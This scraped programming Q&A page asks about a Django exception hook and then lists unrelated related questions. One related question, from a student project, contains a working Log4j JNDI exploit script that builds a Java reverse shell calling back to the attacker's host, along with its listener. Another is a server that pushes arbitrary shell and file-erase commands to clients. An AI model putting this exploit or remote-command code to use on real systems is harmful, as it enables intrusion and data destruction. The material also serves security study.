Django Exception Hook - python

is possible to handle all traceback/exception error code in django ?
i try using sys.excepthook = myfunction in the first line manage.py, which my function/method/class provides python functions/methods like send log to syslog and other functions, here's an example of my exception hook function:
#!/usr/bin/env python
# ehook.py
from __future__ import print_function
from make_colors import make_colors
from xnotify import notify
import os, sys
import socket
from configset import configset
import syslogx
import datetime
import re
import traceback
from pydebugger.debug import debug
PID = os.getpid()
class ehook:
CONFIGNAME = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'ehook.ini')
CONFIG = configset(CONFIGNAME)
def __init__(self, exc_type, exc_value, tb, **kwargs):
#local_vars = {}
#super(ehook, self)
self.exc_type = exc_type
self.exc_value = exc_value
self.tb = tb
data, data_color, raw_data, raw_data_color = self.tracert()
app = "ehook"
title = "Traceback"
event = 'Error'
icon = list(filter(lambda k: os.path.isfile(k), [os.path.splitext(os.path.realpath(__file__))[0] + "." + i for i in ['png', 'jpg']] + [os.path.join(os.path.dirname(os.path.realpath(__file__)), 'traceback') + "." + i for i in ['png', 'jpg']]))
#print("icon:", icon)
kwargs.update({'app': app,})
kwargs.update({'title': title,})
kwargs.update({'event': event,})
kwargs.update({'sticky': True,})
if self.CONFIG.get_config('syslog', 'severity'):
kwargs.update({'syslog_severity': self.CONFIG.get_config('syslog', 'severity').lower(),})
if self.CONFIG.get_config('syslog', 'facility'):
kwargs.update({'syslog_facility': self.CONFIG.get_config('syslog', 'facility').lower(),})
if icon: kwargs.update({'icon': icon[0],})
#icon = os.path.join(os.path.dirname(os.path.realpath(__file__)), icon)
syslog_server = re.split("\n|\t|,", self.CONFIG.get_config('syslog', 'host')) or kwargs.get('syslog_server')
syslog_server = [i.strip() for i in syslog_server]
debug(syslog_server = syslog_server)
if isinstance(syslog_server, list):
for i in syslog_server:
self.debug_server_client(data, data_color, i.split(":")[0])
else:
self.debug_server_client(data, data_color, syslog_server)
kwargs.update({'syslog_server': syslog_server,})
notify.send(message_color = data_color, message = "\n".join(raw_data[1:]), **kwargs)
def sent_to_syslog(self, message, severity=None, facility=None, host = None, port = None):
severity = severity or 3
facility = facility or 3
host = host or self.CONFIG.get_config('syslog', 'host') or '127.0.0.1'
port = port or self.CONFIG.get_config('syslog', 'port') or 514
if "," in host:
host = [i.strip() for i in host.split(",")]
else:
if not isinstance(host, list): host = [host]
if hasattr(message, 'decode'):
message = message.decode('utf-8')
for i in host:
if ":" in i:
HOST, PORT = str(i).split(":")
HOST = HOST.strip()
PORT = PORT.strip()
PORT = PORT or 514
print("sent to %s:%s" % (HOST, str(PORT)))
syslogx.syslog(message, severity, facility, HOST, int(PORT))
else:
syslogx.syslog(message, severity, facility, i, port)
def debug_server_client(self, msg, msg_color = None, host = None, port = None):
dtime = make_colors(datetime.datetime.strftime(datetime.datetime.now(), '%Y:%m:%d'), 'white', 'red') + \
make_colors('~', 'white') + \
make_colors(datetime.datetime.strftime(datetime.datetime.now(), '%H:%M:%S'), 'white', 'green') + \
make_colors(datetime.datetime.strftime(datetime.datetime.now(), '%f'), 'white', 'magenta') + \
"[%s]" % PID
if sys.version_info.major == 3:
msg = msg.encode('utf-8')
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
host = host or self.CONFIG.get_config('server', 'host') or '127.0.0.1'
port = port or self.CONFIG.get_config('server', 'port') or 50000
if not host:
try:
if sys.version_info.major == 3:
msg_color = bytes(dtime + " " + msg_color, encoding = 'utf-8')
else:
msg_color = dtime + " " + msg_color
s.sendto((msg_color or msg), (host, port))
except:
traceback.format_exc()
print(msg)
self.sent_to_syslog(msg)
s.close()
#return False
if "," in host:
host = [i.strip() for i in host.split(",")]
else:
host = [host]
for i in host:
if ":" in i:
host1, port1 = str(i).strip().split(":")
port1 = int(port1.strip()) or port
host1 = host1.strip()
try:
if sys.version_info.major == 3:
msg_color = bytes(dtime + " " + msg_color, encoding = 'utf-8')
else:
msg_color = dtime + " " + msg_color
s.sendto((msg_color or msg), (host1, port1))
except:
traceback.format_exc()
print(msg)
self.sent_to_syslog(msg)
s.close()
#print "%s:%s 0" % (host, str(port))
break
else:
host = i.strip()
#print "%s:%s 1" % (host, str(port))
if sys.version_info.major == 3:
msg_color = bytes(dtime + " " + msg_color, encoding = 'utf-8')
else:
msg_color = dtime + " " + msg_color
s.sendto((msg_color or msg), (host, port))
s.close()
break
def tracert(self):
trace = ["Traceback: "]
trace_color = []
while self.tb:
filename = self.tb.tb_frame.f_code.co_filename
name = self.tb.tb_frame.f_code.co_name
line_no = self.tb.tb_lineno
data_color = make_colors("Traceback:", 'b', 'y') + " " + \
make_colors(self.exc_type.__name__, 'lw', 'r') + " (" + \
make_colors(self.exc_value, 'lw', 'm') + "), File " + \
make_colors(filename, 'b', 'lg') + ", line " + \
make_colors(line_no, 'lw', 'bl') + ", in " + \
make_colors(name, 'b', 'lc')
print(data_color)
trace_color.append(data_color)
data = str(self.exc_type.__name__) + ": " + str(self.exc_value) + "), File " + filename + ", line " + str(line_no) + ", in " + name
trace.append(data)
#print(f"File {filename} line {line_no}, in {name}")
#local_vars = tb.tb_frame.f_locals
#print(f"{exc_type.__name__}, Message: {exc_value}")
self.tb = self.tb.tb_next
#print(f"Local variables in top frame: {local_vars}")
return "\n".join(trace), "\n".join(trace_color), trace, trace_color
in manage.py
from ehook import ehook
sys.excepthook = ehook
import sys
import os
def main():
"""Run administrative tasks."""
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'tobi.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?"
) from exc
execute_from_command_line(sys.argv)
but it doesn't work like what I expected
how to handle all exceptions in django ?

Related

Python server does not show output correctly

for a university project I am testing the log4j vulnerability. To do this, I use a python server that connects to the java client by creating a reverse shell.
Everything works except the output to server which is not displayed correctly. Specifically, the server shows the output of two previous inputs and I'm not understanding why.
I'm new to python and java programming so I'm a little confused.
Initial project: https://github.com/KleekEthicalHacking/log4j-exploit
I made some changes and added a python socket to handle the reverse shell.
PS: with netcat it seems to work fine but command with some space non work (ex: cd .. not work)
For run this project i use kali linux (python server) and ubuntu (java webapp). This code does not yet manage clients with windows os
poc.py + exploit class:
import sys
import argparse
from colorama import Fore, init
import subprocess
import multiprocessing
from http.server import HTTPServer, SimpleHTTPRequestHandler
init(autoreset=True)
def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()
def payload(userip, webport, lport):
genExploit = (
"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%s;
//String cmd="/bin/sh";
String [] os_specs = GetOperatingSystem();
String os_name = os_specs[0].toString();
String cmd = os_specs[1].toString();
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
so.write(os_name.getBytes("UTF-8"));
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
public String [] GetOperatingSystem() throws Exception {
String os = System.getProperty("os.name").toLowerCase();
String [] result = new String[3];
if (os.contains("win")) {
result[0] = "Windows";
result[1] = "cmd.exe";
}
else if (os.contains("nix") || os.contains("nux") || os.contains("aix")) {
result[0] = "Linux";
result[1] = "/bin/sh";
}
return result;
}
}
""") % (userip, lport)
# writing the exploit to Exploit.java file
try:
f = open("Exploit.java", "w")
f.write(genExploit)
f.close()
print(Fore.GREEN + '[+] Exploit java class created success')
except Exception as e:
print(Fore.RED + f'[X] Something went wrong {e.toString()}')
# checkJavaAvailible()
# print(Fore.GREEN + '[+] Setting up LDAP server\n')
# openshellforinjection(lport)
checkJavaAvailible()
print(Fore.GREEN + '[+] Setting up a new shell for RCE\n')
p1 = multiprocessing.Process(target=open_shell_for_injection, args=(lport,))
p1.start()
print(Fore.GREEN + '[+] Setting up LDAP server\n')
p2 = multiprocessing.Process(target=createLdapServer, args=(userip, webport))
p2.start()
# create the LDAP server on new thread
# t1 = threading.Thread(target=createLdapServer, args=(userip, webport))
# t1.start()
# createLdapServer(userip, webport)
# start the web server
print(Fore.GREEN + f"[+] Starting the Web server on port {webport} http://0.0.0.0:{webport}\n")
httpd = HTTPServer(('0.0.0.0', int(webport)), SimpleHTTPRequestHandler)
httpd.serve_forever()
def checkJavaAvailible():
javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL,
stdout=subprocess.DEVNULL)
if javaver != 0:
print(Fore.RED + '[X] Java is not installed inside the repository ')
sys.exit()
def createLdapServer(userip, lport):
sendme = "${jndi:ldap://%s:1389/a}" % userip
print(Fore.GREEN + "[+] Send me: " + sendme + "\n")
subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])
url = "http://{}:{}/#Exploit".format(userip, lport)
subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
"target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])
def open_shell_for_injection(lport):
terminal = subprocess.call(["qterminal", "-e", "python3 -i rce.py --lport " + lport])
# terminal = subprocess.call(["qterminal", "-e", "nc -lvnp " + lport]) #netcat work
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser(description='please enter the values ')
parser.add_argument('--userip', metavar='userip', type=str,
nargs='+', help='Enter IP for LDAPRefServer & Shell')
parser.add_argument('--webport', metavar='webport', type=str,
nargs='+', help='listener port for HTTP port')
parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Netcat Port')
args = parser.parse_args()
payload(listToString(args.userip), listToString(args.webport), listToString(args.lport))
except KeyboardInterrupt:
print(Fore.RED + "\n[X] user interupted the program.")
sys.exit(0)
rce.py:
import argparse
import socket
import sys
from colorama import Fore, init
def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()
def socket_for_rce(lport):
print(Fore.GREEN + "[+] Setup Shell for RCE\n")
SERVER_HOST = "0.0.0.0"
SERVER_PORT = int(lport)
BUFFER_SIZE = 8192
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SERVER_HOST, SERVER_PORT))
s.listen(1)
print(Fore.GREEN + f"Listening as {SERVER_HOST}:{SERVER_PORT}\n")
client_socket, client_address = s.accept()
print(
Fore.GREEN + "(" + Fore.YELLOW + "REMOTE HOST" + Fore.GREEN + ") " + f"{client_address[0]}:{client_address[1]}"
f" --> "
f"Connected! (exit = close connection)\n")
os_target = client_socket.recv(BUFFER_SIZE).decode()
print("OS TARGET: " + Fore.YELLOW + os_target + "\n")
if not os_target:
print(Fore.RED + "[X] No OS detected\n")
folderCommand = "pwd"
folderCommand += "\n"
client_socket.sendall(folderCommand.encode())
path = client_socket.recv(BUFFER_SIZE).decode()
print("path: " + path)
if not path:
print(Fore.RED + "[X] No work folder received\n")
path_text = Fore.GREEN + "(" + Fore.YELLOW + "REMOTE" + Fore.GREEN + ") " + path
while True:
command = input(f"{path_text} > ")
command += "\n"
# if not command.strip():
# continue
if command != "":
if command == "exit":
print(Fore.RED + "\n[X] Connection closed\n")
client_socket.close()
s.close()
break
else:
client_socket.sendall(command.encode())
data = client_socket.recv(BUFFER_SIZE).decode()
print(data)
else:
pass
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser(description='Instruction for usage: ')
parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Rce Port')
args = parser.parse_args()
socket_for_rce(listToString(args.lport))
except KeyboardInterrupt:
print(Fore.RED + "\n[X] User interupted the program.")
sys.exit(0)
Result:
Now works. I added time.sleep(0.2) after each sendall in rce.py

Variable is reported to be not defined

this is the strangest error i ever had (i write this because most of my post is code!!
can you help me?
i have a new error :/
line 43: conn.send = command.encode()
NameError: name 'conn' is not defined here's the code:
import os
import socket
import sys
from _thread import *
mm = 0
owncmds = ["dir", "erase"]
def clientthread(conn):
buffer = ""
data = conn.recv(8192)
buffer += data
print(buffer)
# conn.sendall(reply)
def main():
try:
host = socket.gethostname()
port = 6666
tot_socket = input("Wie viele Clients sind zugelassen?: ")
list_sock = []
for i in range(int(tot_socket)):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port + i))
s.listen(2)
list_sock.append(s)
print("[*] Server listening on %s %d" % (host, (port + i)))
for j in range(len(list_sock)):
conn, addr = list_sock[j].accept()
print('[*] Connected with ' + addr[0] + ':' + str(addr[1]))
start_new_thread(clientthread, (conn,))
finally:
s.close()
main()
while mm < 1:
command = input(str("Command: "))
if command not in owncmds:
conn.send(command.encode())
else:
if command == "dir":
result = conn.recv(1024)
result = result.decode()
print(result)
if command == "erase":
command = command + "/F /Q "
FileErase = input(str("Filename: "))
command = command + FileErase
conn.send(command.encode())
print("Der Befehl wurde gesendet, warte auf Akzeptierung")
print("")

Errors with LCD screen

I've got a problem with a LCD screen HD44780. The screen is connected to RPi3 via I2C. I've prepared a code which shows data on it.
from thread import *
import socket
import sys
import string
import select
import lcddriver
import MySQLdb
import time
import mysql.connector
BUFFER_SIZE = 1024
display = lcddriver.lcd()
database = 'data'
username = 'admin'
password = 'mypasss'
date_now = time.strftime("%Y-%m-%d %H:%M:%S")
def clientthread(conn):
received = []
while True:
data = conn.recv(BUFFER_SIZE)
if data == ";" :
conn.close()
if received[0] == '1':
esp_id = int(received[0])
temperature = float (received[1] + received[2] + received[3] + received[4])
humidity = float (received[5] + received[6] + received[7] + received[8])
esp1 = received[0] + ":T=" + received[1] + received[2] + received[3] + received[4] + "H=" + received[5] + received[6] + received[7] + received[8]
display.lcd_display_string(str(esp1), 1)
print esp1
datehour = time.strftime("%Y-%m-%d %H:%M:%S")
db = MySQLdb.connect("localhost","root","raspberry","projekt_grupowy")
cursor = db.cursor()
sql = "INSERT INTO pomiary(esp_id, temperature, humidity, datehour) VALUES('%d', '%.2f', '%.2f', '%s')" % (esp_id, temperature, humidity, datehour)
try:
cursor.execute(sql)
db.commit()
except:
print "Nieudana proba wpisu"
db.rollback()
else:
print "Data sent"
received = []
break
elif received[0] == '2':
esp_id = int (received[0])
temperature = float(received[1] + received[2] + received[3] + received[4])
humidity = float(received[5] + received[6] + received[7] + received[8])
esp2 = received[0] + ":T=" + received[1] + received[2] + received[3] + received[4] + "H=" + received[5] + received[6] + received[7] + received[8]
print esp2
display.lcd_display_string(str(esp2), 2)
datehour = time.strftime("%Y-%m-%d %H:%M:%S")
db = MySQLdb.connect("localhost","root","raspberry","projekt_grupowy")
cursor = db.cursor()
sql = "INSERT INTO pomiary(esp_id, temperature, humidity, datehour) VALUES('%d', '%.2f', '%.2f', '%s')" % (esp_id, temperature, humidity, datehour)
try:
cursor.execute(sql)
db.commit()
except:
print "Nieudana proba wpisu"
db.rollback()
else:
print "Data sent"
received = []
break
else:
print "error sensor"
received = []
else:
received.append(data)
conn.close()
def main():
try:
host = '192.168.42.1'
port = 8888
tot_socket = 1
list_sock = []
for i in range(tot_socket):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((host, port+i))
s.listen(10)
list_sock.append(s)
print "[*] Server listening on %s %d" %(host, (port+i))
while 1:
for j in range(len(list_sock)):
conn, addr = list_sock[j].accept()
print '[*] Connected with ' + addr[0] + ':' + str(addr[1])
start_new_thread(clientthread ,(conn,))
s.close()
except KeyboardInterrupt as msg:
sys.exit(0)
if __name__ == "__main__":
main()
I receive data from two ESP modules and show them on the screen. 3
display.lcd_display_string(str(esp1), 1)
display.lcd_display_string(str(esp2), 2)
Sometimes there's a moment when two modules are sending data at the same time. In result the screen shows errors even though I've implemented multithreading. What can I do to avoid that?

RPi 3 Python Script - NameError: name 'BluetoothSocket' is not defined

So I am relatively new to python scripting and I came across this code that is supposed to configure wifi over bluetooth between a raspberry pi and smart device. Unfortunately, I keep running into the error listed in the title. I was hoping someone can copy and run the code and enlighten me why i keep running into this error. All help is greatly appreciated!
#!/usr/bin/env python
import os
from bluetooth import *
from wifi import Cell, Scheme
import subprocess
import time
wpa_supplicant_conf = "/etc/wpa_supplicant/wpa_supplicant.conf"
sudo_mode = "sudo "
def wifi_connect(ssid, psk):
# write wifi config to file
f = open('wifi.conf', 'w')
f.write('country=GB\n')
f.write('ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev\n')
f.write('update_config=1\n')
f.write('\n')
f.write('network={\n')
f.write(' ssid="' + ssid + '"\n')
f.write(' psk="' + psk + '"\n')
f.write('}\n')
f.close()
cmd = 'mv wifi.conf ' + wpa_supplicant_conf
cmd_result = ""
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
# restart wifi adapter
cmd = sudo_mode + 'ifdown wlan0'
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
time.sleep(2)
cmd = sudo_mode + 'ifup wlan0'
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
time.sleep(10)
cmd = 'iwconfig wlan0'
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
cmd = 'ifconfig wlan0'
cmd_result = os.system(cmd)
print cmd + " - " + str(cmd_result)
p = subprocess.Popen(['ifconfig', 'wlan0'], stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
out, err = p.communicate()
ip_address = "<Not Set>"
for l in out.split('\n'):
if l.strip().startswith("inet addr:"):
ip_address = l.strip().split(' ')[1].split(':')[1]
return ip_address
def ssid_discovered():
Cells = Cell.all('wlan0')
wifi_info = 'Found ssid : \n'
for current in range(len(Cells)):
wifi_info += Cells[current].ssid + "\n"
wifi_info+="!"
print wifi_info
return wifi_info
def handle_client(client_sock) :
# get ssid
client_sock.send(ssid_discovered())
print "Waiting for SSID..."
ssid = client_sock.recv(1024)
if ssid == '' :
return
print "ssid received"
print ssid
# get psk
client_sock.send("waiting-psk!")
print "Waiting for PSK..."
psk = client_sock.recv(1024)
if psk == '' :
return
print "psk received"
print psk
ip_address = wifi_connect(ssid, psk)
print "ip address: " + ip_address
client_sock.send("ip-addres:" + ip_address + "!")
return
try:
while True:
server_sock=BluetoothSocket( RFCOMM )
server_sock,bind(("",PORT_ANY))
server_sock.listen(1)
port = server_sock.getsockname()[1]
uuid = "815425a5-bfac-47bf-9321-c5ff980b5e11"
advertise_service( server_sock, "RaspberryPiServer",
service_id = uuid,
service_classes = [ uuid, SERIAL_PORT_CLASS ],
profiles = [ SERIAL_PORT_PROFILE ],
protocols = [ OBEX_UUID ]
)
print("Waiting for connection on RFCOMM channel %d" % port)
client_sock, client_info = server_sock.accept()
print "Accepted connection from ", client_info
handle_client(client_sock)
client_sock.close()
server_sock.close()
# finished config
print 'Finished configuration\n'
except (KeyboardInterrupt, SystemExit):
print '\nExiting\n'
This code outputs
Traceback (most recent call last): File "test.py", line 128, in <module>
server_sock=BluetoothSocket( RFCOMM )
NameError: name 'BluetoothSocket' is not defined
Can you show us your python version ?
Just type:
$ python --version
bluetooth lib seems to be present. But not BluetoothSocket: try to install bluez and python-bluez
$ sudo apt-get install bluez
$ sudo apt-get install python-bluez

select.error 10038 with sockets in python 2.7 on windows

so I wrote a simple encrypted IRC client in python 2.7.On linux,it works fine,but on windows I get this error: select.error: (10038, 'An operation was attempted on something that is not a socket').
I made some research,and I know that I can't select like that on windows,but as a newbie I don't have enough knowledge to get it work.So here's my code:
import socket
import os
import sys
import select
from Crypto.Cipher import ARC4
import base64
if(len(sys.argv) < 3) :
print 'Usage : python ./joczoirc.py hostname port nickname room(without the # !!!) enc_password'
sys.exit()
server = sys.argv[1]
port = int(sys.argv[2])
botnick = sys.argv[3]
room = sys.argv[4]
enckey = sys.argv[5]
channel = '#' + room
def encrypt(key, plaintext):
cipher = ARC4.new(key)
return base64.b64encode(cipher.encrypt(plaintext))
def decrypt(key, ciphertext):
cipher = ARC4.new(key)
return cipher.decrypt(base64.b64decode(ciphertext))
irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #definialjuk a socketot
print "connecting to:"+server
irc.connect((server, port)) #kapcsolodas a szerverhez
irc.send("USER "+ botnick +" "+ botnick +" "+ botnick +" :Joczo Encrypted IRC\n") #user authentication
irc.send("NICK "+ botnick +"\n") #sets nick
irc.send("PRIVMSG nickserv :iNOOPE\r\n") #auth
irc.send("JOIN "+ channel +"\n") #join the chan
while 1:
socket_list = [1, irc]
read_sockets, write_sockets, error_sockets = select.select(socket_list , [], [])
for sock in read_sockets:
if sock == irc:
text=irc.recv(2040)
if text.find('PING') != -1: #ha talal 'PING' szot
irc.send('PONG ' + text.split() [1] + '\r\n') #viszakuldi 'PONG' szot szervernek hogy meg online van
if text.find(':') != -1:
before_privmsg, privmsg, after_privmsg = text.partition('PRIVMSG')
print '[+] ' + before_privmsg
before_uzenet, uzenet, after_uzenet = text.partition(channel+' :')
if text.find('TITKOS') != -1:
before_encedmsg, encedmsg, after_encedmsg = text.partition('TITKOS')
demsg = decrypt(enckey,after_encedmsg)
print '[-] ' + demsg
else:
print '[!] ' + after_uzenet
else:
mymsg = sys.stdin.readline()
encmsg = encrypt(enckey,mymsg)
irc.send('PRIVMSG '+channel+' : TITKOS'+encmsg+'\r\n')

Categories